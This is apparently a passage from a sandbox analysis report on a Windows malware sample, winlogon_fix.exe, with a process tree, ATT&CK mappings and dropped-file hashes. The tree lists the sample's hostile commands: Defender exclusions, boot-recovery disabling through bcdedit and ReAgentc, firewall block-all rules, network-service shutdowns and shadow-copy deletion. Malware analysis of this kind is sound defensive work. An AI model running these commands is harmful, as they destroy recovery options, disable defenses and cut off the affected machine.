    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
    3⤵
    PID:5588
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
    3⤵
    PID:1772
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
    3⤵
    PID:992
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
    3⤵
    PID:1880
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
    3⤵
    PID:1960
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
    3⤵
    PID:3204
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
    3⤵
    PID:2476
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
    3⤵
    PID:1624
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
    3⤵
    PID:1708
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
    3⤵
    PID:1460
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
    3⤵
    PID:3728
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
    3⤵
    PID:1768
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
    3⤵
    PID:2056
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
    3⤵
    PID:2896
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
    3⤵
    PID:2264
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
    3⤵
    PID:1692
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
    3⤵
    PID:5500
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
    3⤵
    PID:6008
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
    3⤵
    PID:5032
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
    3⤵
    PID:996
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
    3⤵
    PID:1252
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
    3⤵
    PID:5772
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
    3⤵
    PID:4516
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
    3⤵
    PID:5244
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
    3⤵
    PID:5756
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
    3⤵
    PID:5896
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
    3⤵
    PID:5820
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
    3⤵
    PID:5744
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
    3⤵
    PID:2820
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
    3⤵
    PID:4480
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
    3⤵
    PID:2992
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
    3⤵
    PID:3468
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
    3⤵
    PID:5648
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
    3⤵
    PID:2512
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
    3⤵
    PID:480
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
    3⤵
    PID:2532
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
    3⤵
    PID:908
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
    3⤵
    PID:1620
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
    3⤵
    PID:984
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
    3⤵
    PID:4724
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
    3⤵
    PID:3444
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
    3⤵
    PID:2432
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
    3⤵
    PID:3252
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
    3⤵
    PID:1468
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
    3⤵
    PID:6092
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
    3⤵
    PID:4708
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
    3⤵
    PID:3788
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
    3⤵
    PID:4104
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
    3⤵
    PID:5512
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
    3⤵
    PID:1112
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
    3⤵
    PID:5064
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
    3⤵
    PID:5052
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
    3⤵
    PID:1128
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
    3⤵
    PID:5620
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
    3⤵
    PID:620
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
    3⤵
    PID:5992
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
    3⤵
    PID:1100
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
    3⤵
    PID:1356
- - C:\Windows\System32\ReAgentc.exe
    "C:\Windows\System32\ReAgentc.exe" /disable
    3⤵
    PID:2080
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} safeboot minimal
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:8848
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5784
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" interface set interface name="Ethernet" admin=disabled
    3⤵
    PID:9752
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1376
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5248
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" interface set interface name="Loopback Pseudo-Interface 1" admin=disabled
    3⤵
    PID:4856
- - C:\Windows\System32\ipconfig.exe
    "C:\Windows\System32\ipconfig.exe" /release
    3⤵
    - Gathers network information
    PID:1736
- - C:\Windows\System32\ipconfig.exe
    "C:\Windows\System32\ipconfig.exe" /release6
    3⤵
    - Gathers network information
    PID:7364
- - C:\Windows\System32\ipconfig.exe
    "C:\Windows\System32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:7456
- - C:\Windows\System32\ARP.EXE
    "C:\Windows\System32\ARP.EXE" -d *
    3⤵
    PID:7492
- - C:\Windows\System32\nbtstat.exe
    "C:\Windows\System32\nbtstat.exe" -R
    3⤵
    PID:7528
- - C:\Windows\System32\ROUTE.EXE
    "C:\Windows\System32\ROUTE.EXE" -f
    3⤵
    PID:1776
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" wlan disconnect
    3⤵
    PID:5472
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {bootmgr} bootsequence {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4192
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" wlan set autoconfig enabled=no interface=*
    3⤵
    PID:6976
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:10084
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:8300
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7216
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="BlockAll" dir=out action=block enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:7356
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:8268
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="BlockAllIn" dir=in action=block enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:6732
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} recoveryenabled false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7348
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6848
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config Dnscache start= disabled
    3⤵
    - Launches sc.exe
    PID:8316
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop Dnscache /y
    3⤵
    PID:4832
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config Dhcp start= disabled
    3⤵
    - Launches sc.exe
    PID:8588
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop Dhcp /y
    3⤵
    PID:9424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Dhcp /y
      4⤵
      PID:5052
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config NlaSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:9436
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop NlaSvc /y
    3⤵
    PID:9456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop NlaSvc /y
      4⤵
      PID:2932
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config netprofm start= disabled
    3⤵
    - Launches sc.exe
    PID:9468
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop netprofm /y
    3⤵
    PID:1552
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WlanSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:9508
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop WlanSvc /y
    3⤵
    PID:956
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WlanSvc /y
      4⤵
      PID:6260
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config LanmanWorkstation start= disabled
    3⤵
    - Launches sc.exe
    PID:5360
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop LanmanWorkstation /y
    3⤵
    PID:9920
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config LanmanServer start= disabled
    3⤵
    - Launches sc.exe
    PID:6896
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop LanmanServer /y
    3⤵
    PID:9924
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config Netman start= disabled
    3⤵
    - Launches sc.exe
    PID:900
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop Netman /y
    3⤵
    PID:9932
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config Tcpip start= disabled
    3⤵
    - Launches sc.exe
    PID:6856
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop Tcpip /y
    3⤵
    PID:9872
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config Browser start= disabled
    3⤵
    - Launches sc.exe
    PID:6148
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop Browser /y
    3⤵
    PID:3324
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config RasMan start= disabled
    3⤵
    - Launches sc.exe
    PID:4704
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop RasMan /y
    3⤵
    PID:4772
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config RasAuto start= disabled
    3⤵
    - Launches sc.exe
    PID:2396
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop RasAuto /y
    3⤵
    PID:10132
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WinHttpAutoProxySvc start= disabled
    3⤵
    - Launches sc.exe
    PID:10148
- - C:\Windows\System32\net.exe
    "C:\Windows\System32\net.exe" stop WinHttpAutoProxySvc /y
    3⤵
    PID:10172
- - C:\Windows\System32\wbem\WMIC.exe
    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /nointeractive
    3⤵
    PID:8620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:3412

C:\Windows\System32\winlogon_fix.exe
"C:\Windows\System32\winlogon_fix.exe" C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl2.bat
1⤵
PID:1836

C:\Windows\System32\winlogon_fix.exe
"C:\Windows\System32\winlogon_fix.exe" C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat
1⤵
PID:5060

C:\Windows\System32\winlogon_fix.exe
"C:\Windows\System32\winlogon_fix.exe" C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl1.bat
1⤵
PID:4564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:236

C:\Windows\system32\userinit.exe
userinit.exe
1⤵
PID:9072

C:\Windows\System32\winlogon_fix.exe
C:\Windows\System32\winlogon_fix.exe
1⤵
PID:9476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 496B
SHA256 1c96fc82f9de113b8dc1fb81a5691150d659032db7d1c8bae7e987f756ffeffa
MD5 a2e6c498679cdd2820340fbb5ac3ebfb
SHA1 f97f0c6b2eceec2151a0c059fc6ea4cddade249a
SHA512 52b74985922a8a1b7388b56b3174f81e67a8343fad65152f785a394f010d4a50597063ba5e65f6deb6cbfabccbcc6de77f7c5d0ddb73a0849c1137cccdd9a8b9
TLSH
T1A1F0305809B84D2A7111100380573BE886D6B4931F618A29AFC896654B51D8B9F583C5
MD5 SHA1 SHA512 TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 6KB
SHA256 3b9577a39a85566e076168ef9bc671e1635de5816d45803109e0ca2e3843ee35
MD5 4ddc6a2d6b56541c7868bd77c3ccd85f
SHA1 baa1a1128e4337fca1250be6829a41606a9a5118
SHA512 6b7dd53bdfbb36a0dfb48645bd26576a8a44ba9652a769ab75999041eafb6e5c38479d6a04e6e5138b2e1d73472d1e828f20f03b40edd726efb5e9091301c245
SSDEEP 192:JfxX6DYY6iG9iYGxU2lVmqIE4b/YK27lswsxsXs6sqs8sRsHsBsUstsKsFs3sqs3:RKVEqoQZqNh
TLSH
T182D19B6D47BC0CFAB121054281777BE386ABF0D716204E1AAFDD66645A60E8F8F48BC5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 6KB
SHA256 e70417b950b36029ddf8bda6697aa01022550e722391b0816881be5957e99b3f
MD5 3db72c3c36fcb44565655defe0b3d73e
SHA1 40f1b18190bf7555384adfb0ce80bb5c01708a9a
SHA512 8e8cb8b2414b251108c1fd4a976adf0e4865a7b07e8f2babbc6af377fe83cf01b6c32f1b68e91819b34e2fff1616e88e8123ec958fde722db4f7b1024fd682b9
SSDEEP 192:JfxX6DYY6iG9iYGxU2lVmqIE4b/YK27lswsxsXs6sqs8sRsHsBsUstsKsFs3sqsG:RKVEqoQZqNsV
TLSH
T145D18C6D47BC0CFAB121054181777BE386ABF0D716204E2AAFDD66645B60E8F8F48BC5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 7KB
SHA256 c737c1d8f252c3ad94be6f2ac5b49f0027008870dafa70fc0ee80681a2c37c94
MD5 ed564e5df5a0c117f4cd89024c09701b
SHA1 2ee8906ddbb22b6b448b021f56ea5db1142dda00
SHA512 9a22ec4c3035c2f4314d16310b749e98a864ca17d19f8fce765b5f07b776f49f31f8db98b078a130272b081218631e49f61e6eafa1a6aaed86a976a9415622fd
SSDEEP 192:JfxX6DYY6iG9iYGxU2lVmqIE4b/YK27lswsxsXs6sqs8sRsHsBsUstsKsFs3sqst:RKVEqoQZqNs0
TLSH
T10FE1AE6D47BC0CFAB161054281777BE386ABF0D716204E2A6FCD66645B60E8F8F48BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 1KB
SHA256 57b245325cc4db8c89715a3e9b10634e90c49086581e7d5ed0894e38833bdc9e
MD5 90e5a663cd4d59daf36fdbc347f37e1c
SHA1 6dc703fe394c56d6ee98e84293ad4591c6029fd3
SHA512 b84c4077b9368932c20945d5004ebb9fb4d79d14aebf79ec92a553c4229ad12cfc908df1dd989141b46b399f1374e6bbca00f44bdc5750525636d86e8845cea7
TLSH
T18231F71C07F85D7B7021101281633BE8C6A7F5AB2B718A296FDC46A96B10D8F9B493C5
MD5 SHA1 SHA512 TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 2KB
SHA256 a78592e67e04523472ca546f15adf8cef3e4c03a25784cd3fc0de22ba7066030
MD5 5f3109907d8306768eba1ecb34d5eac1
SHA1 48cadf98c5aaa4b1e970f21911407ba5399de3d9
SHA512 863b62df32d094a027afb75603e094b5c5e4e6e8c97fae2f124e639464604d0009cd98288a66dd71a1ff9e25b2ef0ad0511ce2ebe86d005c1ff2b77a81887d0a
TLSH
T15941E12D07B85D7BB121100281773BEAC6E7F4EB2F218A2A6FDC52585B10D8F9B583C5
MD5 SHA1 SHA512 TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 3KB
SHA256 c56325601e1660633ec4a97987900b8a14c38db64af23a50465a76558e762126
MD5 99d6786ac0375f4c88911fd6cc16726a
SHA1 0f60263f81c4ce228563de4a17bafee1ab1fcd2e
SHA512 e63e944fb6b501cfda4c1471782b512ba9a5ffea5b7d335d6d7ec0acb95125d1d2a1c7db320ae0579f61eda32403fed2dc6303d09d02dfc9267550ba91ec65da
TLSH
T1A761036D07B85DBBB021104192733BE686E7F1EB2A614A1A6FDD12589B10DCF8F5C3C5
MD5 SHA1 SHA512 TLSH

Submit Download

zov_debug.log

Path C:\Users\Admin\AppData\Local\Temp\zov_debug.log
Size 4KB
SHA256 2ea1ab066b4b1513029a594871ff80977630a88cae22c95a10b87fa11ee08392
MD5 d86a2add0febc28fa40ff3711ac63974
SHA1 4b2f5a76a63a2cd3789e22dafabe290f89c5d662
SHA512 58ca39c86ba8c436f9faf901306878e05a273b7a8b97f23f34ca77927e6788720c6b13218a92fe2b8ac1fb99bd5a5f6239fe2f1f9f8d20370485da18d668794c
SSDEEP 96:oSfD1XozDbHUY6iG4YdUYGxU2lVmqIE4fz8UYK270qswsD1sXsozsqsKnsRsHsB1:JfxX6DYY6iG9iYGxU2lVmqIE4b/YK27c
TLSH
T1FEA1CF6C03BC0DFBB121054181737BE686ABF0D716204E1A7FDE66645A20E8F8F48BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 4KB
SHA256 1c1602cf02cc942ba6bbe0f616d9446b2288e3ce85157d32d8f580bfe073f7f9
MD5 10da1ee304de452018d89b2333108e39
SHA1 f5ead78c6a7c17f2a6cb5aa0cfd6079bd1352dd3
SHA512 d1a98fc159038c3463dc3193717a1e6ef41e3aba65c6ed9c1f537892d3029d3e182e9f74fceed228dff1fd85fe820464e97a099780b7852e31009e7c91509f06
SSDEEP 96:HZBxZBhaZBxZBWZBPZBwZBivZBynZByZBHZBKtZBtZBvZBKZBxZB1GZBxsSBxsS0:HZBxZB0ZBxZBWZBPZBwZBUZBIZByZBHZ
TLSH
T19B81E2260E624A24B546E900E6651ADADB4372E75B5AB41C7FBF21807B0234EC6FD9CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 14KB
SHA256 d567989de53050431790de0fea2b030b6ad9c52a29e82c128506432a7677b33c
MD5 83b76aa89f41d99ff0985585222c0e69
SHA1 b90a8e4c154d7a91baff4cf0c3ff0ddee4338101
SHA512 d70a379d9b325fe524ad8be5e48d8a47383ddc2c8e42a8e0cddd66f5f95e4ff7d09e75784f2c996286d1ff9b1cf7907e43c8c81b7057e50d74dd77a1dbe24eb5
SSDEEP 192:53gbq3gbq3gbHWPCM/1Ltw1BR3gbq3gbq3gbq3gbHLA4:53Iq3Iq3ICHq3Iq3Iq3Iq3It
TLSH
T16062B629B1992EBB5C9446F9DFD038C26F8097794106A03795C4FEAFA279042F5B07CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 15KB
